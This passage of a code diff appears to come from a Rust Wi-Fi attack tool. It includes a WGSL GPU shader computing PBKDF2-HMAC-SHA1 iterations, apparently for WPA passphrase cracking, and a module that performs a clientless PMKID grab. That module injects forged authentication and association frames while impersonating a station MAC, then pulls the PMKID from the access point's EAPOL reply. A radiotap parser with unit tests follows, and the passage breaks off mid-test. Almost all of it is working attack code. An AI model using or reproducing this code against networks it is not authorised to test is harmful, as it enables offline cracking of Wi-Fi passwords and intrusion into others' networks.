134+ { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (~b & d)) + e + 0x5a827999u + w12; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
135+ { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (~b & d)) + e + 0x5a827999u + w13; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
136+ { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (~b & d)) + e + 0x5a827999u + w14; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
137+ { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (~b & d)) + e + 0x5a827999u + w15; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
138+ { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (~b & d)) + e + 0x5a827999u + w16; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
139+ { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (~b & d)) + e + 0x5a827999u + w17; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
140+ { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (~b & d)) + e + 0x5a827999u + w18; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
141+ { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (~b & d)) + e + 0x5a827999u + w19; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
142+ { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0x6ed9eba1u + w20; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
143+ { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0x6ed9eba1u + w21; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
144+ { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0x6ed9eba1u + w22; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
145+ { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0x6ed9eba1u + w23; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
146+ { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0x6ed9eba1u + w24; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
147+ { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0x6ed9eba1u + w25; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
148+ { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0x6ed9eba1u + w26; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
149+ { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0x6ed9eba1u + w27; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
150+ { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0x6ed9eba1u + w28; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
151+ { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0x6ed9eba1u + w29; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
152+ { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0x6ed9eba1u + w30; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
153+ { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0x6ed9eba1u + w31; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
154+ { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0x6ed9eba1u + w32; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
155+ { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0x6ed9eba1u + w33; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
156+ { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0x6ed9eba1u + w34; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
157+ { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0x6ed9eba1u + w35; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
158+ { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0x6ed9eba1u + w36; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
159+ { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0x6ed9eba1u + w37; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
160+ { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0x6ed9eba1u + w38; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
161+ { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0x6ed9eba1u + w39; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
162+ { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (b & d) | (c & d)) + e + 0x8f1bbcdcu + w40; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
163+ { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (b & d) | (c & d)) + e + 0x8f1bbcdcu + w41; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
164+ { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (b & d) | (c & d)) + e + 0x8f1bbcdcu + w42; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
165+ { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (b & d) | (c & d)) + e + 0x8f1bbcdcu + w43; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
166+ { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (b & d) | (c & d)) + e + 0x8f1bbcdcu + w44; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
167+ { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (b & d) | (c & d)) + e + 0x8f1bbcdcu + w45; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
168+ { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (b & d) | (c & d)) + e + 0x8f1bbcdcu + w46; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
169+ { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (b & d) | (c & d)) + e + 0x8f1bbcdcu + w47; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
170+ { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (b & d) | (c & d)) + e + 0x8f1bbcdcu + w48; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
171+ { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (b & d) | (c & d)) + e + 0x8f1bbcdcu + w49; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
172+ { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (b & d) | (c & d)) + e + 0x8f1bbcdcu + w50; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
173+ { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (b & d) | (c & d)) + e + 0x8f1bbcdcu + w51; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
174+ { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (b & d) | (c & d)) + e + 0x8f1bbcdcu + w52; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
175+ { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (b & d) | (c & d)) + e + 0x8f1bbcdcu + w53; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
176+ { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (b & d) | (c & d)) + e + 0x8f1bbcdcu + w54; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
177+ { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (b & d) | (c & d)) + e + 0x8f1bbcdcu + w55; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
178+ { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (b & d) | (c & d)) + e + 0x8f1bbcdcu + w56; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
179+ { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (b & d) | (c & d)) + e + 0x8f1bbcdcu + w57; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
180+ { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (b & d) | (c & d)) + e + 0x8f1bbcdcu + w58; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
181+ { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (b & d) | (c & d)) + e + 0x8f1bbcdcu + w59; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
182+ { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0xca62c1d6u + w60; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
183+ { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0xca62c1d6u + w61; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
184+ { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0xca62c1d6u + w62; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
185+ { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0xca62c1d6u + w63; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
186+ { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0xca62c1d6u + w64; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
187+ { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0xca62c1d6u + w65; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
188+ { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0xca62c1d6u + w66; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
189+ { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0xca62c1d6u + w67; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
190+ { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0xca62c1d6u + w68; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
191+ { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0xca62c1d6u + w69; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
192+ { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0xca62c1d6u + w70; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
193+ { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0xca62c1d6u + w71; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
194+ { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0xca62c1d6u + w72; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
195+ { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0xca62c1d6u + w73; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
196+ { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0xca62c1d6u + w74; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
197+ { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0xca62c1d6u + w75; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
198+ { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0xca62c1d6u + w76; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
199+ { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0xca62c1d6u + w77; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
200+ { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0xca62c1d6u + w78; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
201+ { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0xca62c1d6u + w79; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
202+ (*state_in)[0] = (*state_in)[0] + a;
203+ (*state_in)[1] = (*state_in)[1] + b;
204+ (*state_in)[2] = (*state_in)[2] + c;
205+ (*state_in)[3] = (*state_in)[3] + d;
206+ (*state_in)[4] = (*state_in)[4] + e;
207+}
208+
209+// Message block layout for HMAC of a 20-byte value after a 64-byte presalt
210+// midstate/absorbed prefix: x[0..5] || 0x80 || zeros || 32-bit BE bit-length.
211+fn hmac_block(u: ptr<function, array<u32, 5u>>, bitlen: u32) -> array<u32, 16u> {
212+ var blk: array<u32, 16u>;
213+ blk[0] = (*u)[0];
214+ blk[1] = (*u)[1];
215+ blk[2] = (*u)[2];
216+ blk[3] = (*u)[3];
217+ blk[4] = (*u)[4];
218+ blk[5] = 0x80000000u;
219+ for (var i = 6u; i < 15u; i = i + 1u) {
220+ blk[i] = 0u;
221+ }
222+ blk[15] = bitlen;
223+ return blk;
224+}
225+
226+// U = HMAC(pad midstates, U) — two compressions. The message seen by each leg
227+// (after the absorbed 64-byte pad prefix) is 64 + 20 = 84 bytes = 672 bits.
228+fn hmac_mid(u: ptr<function, array<u32, 5u>>, ipad: ptr<function, array<u32, 5u>>, opad: ptr<function, array<u32, 5u>>) {
229+ var in_state: array<u32, 5u> = *ipad;
230+ var blk = hmac_block(u, 672u);
231+ sha1_compress(&in_state, &blk);
232+
233+ var out_state: array<u32, 5u> = *opad;
234+ var blk2 = hmac_block(&in_state, 672u);
235+ sha1_compress(&out_state, &blk2);
236+
237+ *u = out_state;
238+}
239+
240+@compute @workgroup_size(64)
241+fn main(@builtin(global_invocation_id) gid: vec3<u32>) {
242+ let idx = gid.x;
243+ if idx >= arrayLength(&outputs) / 10u {
244+ return;
245+ }
246+
247+ let base_in = idx * 20u;
248+ var ipad: array<u32, 5u>;
249+ var opad: array<u32, 5u>;
250+ var u1: array<u32, 5u>;
251+ var u2: array<u32, 5u>;
252+ for (var i = 0u; i < 5u; i = i + 1u) {
253+ ipad[i] = midstates[base_in + i];
254+ opad[i] = midstates[base_in + 5u + i];
255+ u1[i] = midstates[base_in + 10u + i];
256+ u2[i] = midstates[base_in + 15u + i];
257+ }
258+
259+ let iterations = params.flags >> 1u;
260+
261+ var t1 = u1;
262+ var t2 = u2;
263+ for (var i = 1u; i < iterations; i = i + 1u) {
264+ hmac_mid(&u1, &ipad, &opad);
265+ t1[0] = t1[0] ^ u1[0];
266+ t1[1] = t1[1] ^ u1[1];
267+ t1[2] = t1[2] ^ u1[2];
268+ t1[3] = t1[3] ^ u1[3];
269+ t1[4] = t1[4] ^ u1[4];
270+ hmac_mid(&u2, &ipad, &opad);
271+ t2[0] = t2[0] ^ u2[0];
272+ t2[1] = t2[1] ^ u2[1];
273+ t2[2] = t2[2] ^ u2[2];
274+ t2[3] = t2[3] ^ u2[3];
275+ t2[4] = t2[4] ^ u2[4];
276+ }
277+
278+ let base_out = idx * 10u;
279+ for (var i = 0u; i < 5u; i = i + 1u) {
280+ outputs[base_out + i] = t1[i];
281+ }
282+ for (var i = 0u; i < 5u; i = i + 1u) {
283+ outputs[base_out + 5u + i] = t2[i];
284+ }
285+}
src/pmkid.rsmodified+171 -0
@@ -0,0 +1,171 @@
1+//! Clientless PMKID grab: authenticate (open) + associate against `ap`
2+//! impersonating station MAC `sta`, then watch the wire for the AP's EAPOL
3+//! M1 carrying an RSN PMKID KDE (vendor 0xdd, OUI 00-0f-ac, subtype 4).
4+
5+use std::time::{Duration, Instant};
6+
7+use anyhow::{Context, Result};
8+use crossbeam_channel::Sender;
9+
10+use crate::common::{Event, MacAddr, PmkidCapture};
11+use crate::dot11::{build_assoc_req, build_auth_open, parse_eapol, parse_eapol_key};
12+use crate::radiotap::{INJECT_HDR, strip};
13+use crate::rawsock::RawSocket;
14+
15+/// How long to watch for the M1 after associating.
16+const GRAB_WINDOW: Duration = Duration::from_secs(3);
17+/// Poll cadence on the socket.
18+const POLL_MS: u32 = 100;
19+
20+/// Extract the 16-byte PMKID from an EAPOL-Key `key_data` field by walking
21+/// its (vendor) IEs for KDE `dd 14 00 0f ac 04 <16 bytes>`.
22+pub(crate) fn extract_pmkid(key_data: &[u8]) -> Option<[u8; 16]> {
23+ let mut cur = 0usize;
24+ while let (Some(&id), Some(&len)) = (key_data.get(cur), key_data.get(cur + 1)) {
25+ let len = len as usize;
26+ let body = key_data.get(cur + 2..cur + 2 + len)?;
27+ if id == 0xdd
28+ && len >= 20
29+ && body[0..3] == [0x00, 0x0f, 0xac]
30+ && body[3] == 4
31+ {
32+ return body.get(4..20)?.try_into().ok();
33+ }
34+ cur += 2 + len;
35+ }
36+ None
37+}
38+
39+fn send_frame(sock: &RawSocket, frame: &[u8]) -> Result<()> {
40+ let mut buf = Vec::with_capacity(INJECT_HDR.len() + frame.len());
41+ buf.extend_from_slice(&INJECT_HDR);
42+ buf.extend_from_slice(frame);
43+ sock.send(&buf).context("pmkid: injecting frame")?;
44+ Ok(())
45+}
46+
47+/// Single PMKID grab attempt against `ap` as `sta`; `essid` fills the
48+/// capture (and the association-request SSID IE). Returns `Ok(None)` on
49+/// timeout — the AP simply didn't volunteer a PMKID.
50+pub fn grab(
51+ sock: &RawSocket,
52+ ap: &MacAddr,
53+ sta: &MacAddr,
54+ essid: &str,
55+ tx: &Sender<Event>,
56+) -> Result<Option<PmkidCapture>> {
57+ sock.set_timeout(POLL_MS).context("pmkid: set_timeout")?;
58+
59+ send_frame(sock, &build_auth_open(ap, sta, 1))?;
60+ let _ = tx.send(Event::Log(format!("pmkid: open-auth sent to {ap}")));
61+ send_frame(sock, &build_assoc_req(ap, sta, essid.as_bytes()))?;
62+ let _ = tx.send(Event::Log(format!("pmkid: assoc-req sent to {ap}")));
63+
64+ let deadline = Instant::now() + GRAB_WINDOW;
65+ let mut buf = vec![0u8; 4096];
66+ while Instant::now() < deadline {
67+ match sock.recv(&mut buf) {
68+ Ok(n) => {
69+ let Some((_meta, frame)) = strip(&buf[..n]) else {
70+ continue;
71+ };
72+ // addr1 (receiver, at offset 4 of any 802.11 header) must
73+ // be us or broadcast; the bssid side must be the target AP.
74+ if frame.len() >= 10 {
75+ let addr1 = MacAddr(frame[4..10].try_into().expect("6-byte slice"));
76+ if addr1 != *sta && !addr1.is_broadcast() {
77+ continue;
78+ }
79+ }
80+ let Some((bssid, _ap_is_sender, eapol)) = parse_eapol(frame) else {
81+ continue;
82+ };
83+ if bssid != *ap {
84+ continue;
85+ }
86+ let Some(key) = parse_eapol_key(eapol) else {
87+ continue;
88+ };
89+ // M1 shape: ACK set, MIC not yet set.
90+ if !(key.key_ack && !key.key_mic) {
91+ continue;
92+ }
93+ if let Some(pmkid) = extract_pmkid(key.key_data) {
94+ return Ok(Some(PmkidCapture {
95+ ap: *ap,
96+ client: *sta,
97+ essid: essid.to_string(),
98+ pmkid,
99+ }));
100+ }
101+ }
102+ Err(e)
103+ if e.kind() == std::io::ErrorKind::WouldBlock
104+ || e.kind() == std::io::ErrorKind::TimedOut =>
105+ {
106+ continue; // poll again until the deadline
107+ }
108+ Err(e) if e.kind() == std::io::ErrorKind::Interrupted => continue,
109+ Err(e) => return Err(e).context("pmkid: recv failed"),
110+ }
111+ }
112+ Ok(None)
113+}
114+
115+#[cfg(test)]
116+mod tests {
117+ use super::*;
118+
119+ #[test]
120+ fn extract_pmkid_finds_rsn_kde() {
121+ // dd 14 00 0f ac 04 <16-byte pmkid>
122+ let mut kd = vec![0xdd, 0x14, 0x00, 0x0f, 0xac, 0x04];
123+ let pmkid = [0xabu8; 16];
124+ kd.extend_from_slice(&pmkid);
125+ assert_eq!(extract_pmkid(&kd), Some(pmkid));
126+ }
127+
128+ #[test]
129+ fn extract_pmkid_skips_other_ies_first() {
130+ // Prepend a different vendor IE and an SSID IE before the KDE.
131+ let mut kd = vec![
132+ 0xdd, 0x07, 0x00, 0x50, 0xf2, 0x02, 0x00, 0x01, 0x00, // WMM-ish
133+ 0x00, 0x03, b'f', b'o', b'o', // SSID
134+ ];
135+ let pmkid = [0x42u8; 16];
136+ kd.extend_from_slice(&[0xdd, 0x14, 0x00, 0x0f, 0xac, 0x04]);
137+ kd.extend_from_slice(&pmkid);
138+ assert_eq!(extract_pmkid(&kd), Some(pmkid));
139+ }
140+
141+ #[test]
142+ fn extract_pmkid_rejects_wrong_subtype_and_oui() {
143+ // subtype 6 (GTK KDE) must not match.
144+ let gtk = [0xdd, 0x14, 0x00, 0x0f, 0xac, 0x06];
145+ assert_eq!(extract_pmkid(&gtk), None);
146+ // different OUI (00 50 f2 = Microsoft) must not match.
147+ let msft = [0xdd, 0x14, 0x00, 0x50, 0xf2, 0x04];
148+ assert_eq!(extract_pmkid(&msft), None);
149+ // Truncated PMKID body (len < 20) → None.
150+ let short = [0xdd, 0x08, 0x00, 0x0f, 0xac, 0x04, 1, 2];
151+ assert_eq!(extract_pmkid(&short), None);
152+ // Empty input.
153+ assert_eq!(extract_pmkid(&[]), None);
154+ // Truncated trailing IE (len overruns buffer) → None.
155+ let overrun = [0xdd, 0x14, 0x00, 0x0f];
156+ assert_eq!(extract_pmkid(&overrun), None);
157+ }
158+
159+ #[test]
160+ fn extract_pmkid_ignores_non_keydata_rsn_style() {
161+ // The RSN IE itself (id 48 = 0x30) contains a PMKID list at its tail,
162+ // but our caller passes key_data KDEs only; an id-0x30 IE must be
163+ // skipped, not misparsed.
164+ let mut kd = vec![0x30, 0x14];
165+ kd.extend_from_slice(&[0u8; 20]); // rsn body filler
166+ let pmkid = [0x11u8; 16];
167+ kd.extend_from_slice(&[0xdd, 0x14, 0x00, 0x0f, 0xac, 0x04]);
168+ kd.extend_from_slice(&pmkid);
169+ assert_eq!(extract_pmkid(&kd), Some(pmkid));
170+ }
171+}
src/radiotap.rsmodified+211 -0
@@ -0,0 +1,211 @@
1+//! Zero-copy radiotap header parser + TX injection header.
2+//!
3+//! Radiotap layout: version(1) pad(1) it_len(2 LE) it_present(4 LE, possibly
4+//! extended via bit 31 into further 32-bit words), then a field area whose
5+//! entries obey per-field alignment *relative to the start of the radiotap
6+//! header*. We only decode the fields we consume (channel frequency, antenna
7+//! signal) but walk the full known-table so unknown-but-known-size fields are
8+//! skipped correctly. Unknown extension bits beyond the table (vendor
9+//! namespaces vs. future standards): degrade gracefully and rely on it_len
10+//! to locate the 802.11 payload.
11+
12+/// Parsed metadata from an RX radiotap header.
13+#[derive(Clone, Copy, Debug, Default, PartialEq, Eq)]
14+pub struct RxMeta {
15+ pub rssi_dbm: i8, // antenna signal, 0 if absent
16+ pub freq_mhz: u16, // channel frequency, 0 if absent
17+}
18+
19+/// Radiotap header prepended to injected frames: version 0, pad 0, len 8,
20+/// no fields present.
21+pub const INJECT_HDR: [u8; 8] = [0, 0, 8, 0, 0, 0, 0, 0];
22+
23+// Present-bit → (alignment, size) for the well-known fields, per the
24+// radiotap spec. Variable-size fields (TLVs, vendor namespaces) have no
25+// fixed entry and terminate the field walk.
26+fn field_spec(bit: u32) -> Option<(usize, usize)> {
27+ Some(match bit {
28+ 0 => (8, 8), // TSFT
29+ 1 => (1, 1), // Flags
30+ 2 => (1, 1), // Rate
31+ 3 => (2, 4), // Channel (freq u16 + flags u16)
32+ 4 => (2, 2), // FHSS
33+ 5 => (1, 1), // Antenna signal, dBm (i8)
34+ 6 => (1, 1), // Antenna noise, dBm
35+ 7 => (2, 2), // Lock quality
36+ 8 => (2, 2), // TX attenuation
37+ 9 => (2, 2), // dB TX attenuation
38+ 10 => (1, 1), // dBm TX power
39+ 11 => (1, 1), // Antenna
40+ 12 => (1, 1), // dB antenna signal
41+ 13 => (1, 1), // dB antenna noise
42+ 14 => (2, 2), // RX flags
43+ 15 => (2, 2), // TX flags
44+ 16 => (1, 1), // RTS retries
45+ 17 => (1, 1), // Data retries
46+ 18 => (4, 8), // XChannel
47+ 19 => (1, 3), // MCS
48+ 20 => (4, 8), // A-MPDU status
49+ 21 => (2, 12), // VHT
50+ 22 => (8, 12), // timestamp
51+ 23 => (2, 12), // HE
52+ 24 => (2, 12), // HE-MU
53+ 25 => (1, 0), // 0-length PSDU
54+ 26 => (2, 4), // L-SIG
55+ _ => return None,
56+ })
57+}
58+
59+const MAX_PRESENT_WORDS: usize = 8;
60+
61+/// Parse radiotap; returns (meta, remaining 802.11 frame bytes).
62+/// Returns None if the buffer is not a well-formed radiotap header.
63+pub fn strip(frame: &[u8]) -> Option<(RxMeta, &[u8])> {
64+ if frame.len() < 8 || frame[0] != 0 {
65+ return None;
66+ }
67+ let it_len = u16::from_le_bytes([frame[2], frame[3]]) as usize;
68+ if it_len < 8 || it_len > frame.len() {
69+ return None;
70+ }
71+
72+ // Walk the present bitmap words (bit 31 = another word follows).
73+ let mut words = [0u32; MAX_PRESENT_WORDS];
74+ let mut n_words = 0usize;
75+ let mut word_off = 4usize;
76+ loop {
77+ if word_off + 4 > it_len {
78+ return None; // bitmap truncated inside the header
79+ }
80+ let w = u32::from_le_bytes([
81+ frame[word_off],
82+ frame[word_off + 1],
83+ frame[word_off + 2],
84+ frame[word_off + 3],
85+ ]);
86+ if n_words < MAX_PRESENT_WORDS {
87+ words[n_words] = w;
88+ n_words += 1;
89+ }
90+ word_off += 4;
91+ if w & 0x8000_0000 == 0 {
92+ break;
93+ }
94+ }
95+ let fields_start = word_off;
96+
97+ let mut meta = RxMeta::default();
98+ let mut pos = fields_start;
99+ 'fields: for (wi, &w) in words[..n_words].iter().enumerate() {
100+ for bit in 0..32u32 {
101+ if bit == 31 || w & (1 << bit) == 0 {
102+ continue;
103+ }
104+ let gbit = wi as u32 * 32 + bit;
105+ let Some((align, size)) = field_spec(gbit) else {
106+ // Variable-size or unknown field: cannot walk past it.
107+ // Graceful degradation — it_len still bounds the payload.
108+ break 'fields;
109+ };
110+ pos = pos.next_multiple_of(align);
111+ if pos + size > it_len {
112+ break 'fields; // field sticks out of the header: malformed
113+ }
114+ match gbit {
115+ 3 => meta.freq_mhz = u16::from_le_bytes([frame[pos], frame[pos + 1]]),
116+ 5 => meta.rssi_dbm = frame[pos] as i8,
117+ _ => {}
118+ }
119+ pos += size;
120+ }
121+ }
122+
123+ Some((meta, &frame[it_len..]))
124+}
125+
126+#[cfg(test)]
127+mod tests {
128+ use super::*;
129+
130+ fn build_header(present: &[u32], fields: &[u8], tail: &[u8]) -> Vec<u8> {
131+ let it_len = 4 + present.len() * 4 + fields.len();
132+ let mut v = vec![0u8, 0, (it_len & 0xff) as u8, (it_len >> 8) as u8];
133+ for w in present {
134+ v.extend_from_slice(&w.to_le_bytes());
135+ }
136+ v.extend_from_slice(fields);
137+ v.extend_from_slice(tail);
138+ v
139+ }
140+
141+ #[test]
142+ fn inject_hdr_roundtrips_as_empty_header() {
143+ let payload = [0x80u8, 0x00, 0x00, 0x00];
144+ let mut f = INJECT_HDR.to_vec();
145+ f.extend_from_slice(&payload);
146+ let (meta, rest) = strip(&f).expect("inject header parses");
147+ assert_eq!(meta, RxMeta::default());
148+ assert_eq!(rest, &payload);
149+ }
150+
151+ #[test]
152+ fn channel_and_antenna_signal_parsed() {
153+ // present: bit3 (channel, align 2) | bit5 (antenna signal, align 1)
154+ let mut fields = [0u8; 5];
155+ fields[0..2].copy_from_slice(&2417u16.to_le_bytes()); // 2417 MHz = ch 2
156+ fields[2..4].copy_from_slice(&0x00a0u16.to_le_bytes());
157+ fields[4] = (-42i8) as u8;
158+ let tail = [0xde, 0xad];
159+ let f = build_header(&[0x28], &fields, &tail);
160+ let (meta, rest) = strip(&f).unwrap();
161+ assert_eq!(meta.freq_mhz, 2417);
162+ assert_eq!(meta.rssi_dbm, -42);
163+ assert_eq!(rest, &tail);
164+ }
165+
166+ #[test]
167+ fn tsft_honors_8_byte_alignment() {
168+ // present: bit0 (TSFT, align 8) | bit5 (antenna signal). Fields start
169+ // at offset 8 so TSFT lands unaligned only when fields_start != 8; add
170+ // one extension word to shift fields_start to 12 → TSFT aligns to 16.
171+ let mut f = vec![0u8, 0, 0, 0, 0x21, 0x00, 0x00, 0x80]; // present w0: tsft|antenna|ext
172+ f.extend_from_slice(&0u32.to_le_bytes()); // present w1: empty, ends bitmap
173+ let fields_start = f.len(); // 12
174+ let pad = (fields_start + 7) / 8 * 8 - fields_start;
175+ f.resize(fields_start + pad + 8 + 1, 0u8);
176+ let rssi_at = fields_start + pad + 8;
177+ f[rssi_at] = (-30i8) as u8;
